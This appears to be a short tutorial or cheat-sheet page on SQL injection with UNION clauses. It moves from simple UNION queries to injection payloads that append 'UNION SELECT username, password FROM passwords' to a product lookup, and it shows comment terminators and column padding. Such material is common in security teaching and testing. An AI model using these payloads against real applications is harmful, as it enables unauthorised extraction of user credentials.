SQL Injection Using Union Clauses
SELECT * FROM ports UNION SELECT * FROM ships;
SELECT city FROM ports UNION SELECT * FROM ships; -- Error due to different column counts
SELECT * FROM products WHERE product_id = '1' UNION SELECT username, password FROM passwords-- '
SELECT * FROM products WHERE product_id = '1' UNION SELECT username, 2 FROM passwords;
UNION SELECT username, 2, 3, 4 FROM passwords-- '
Last updated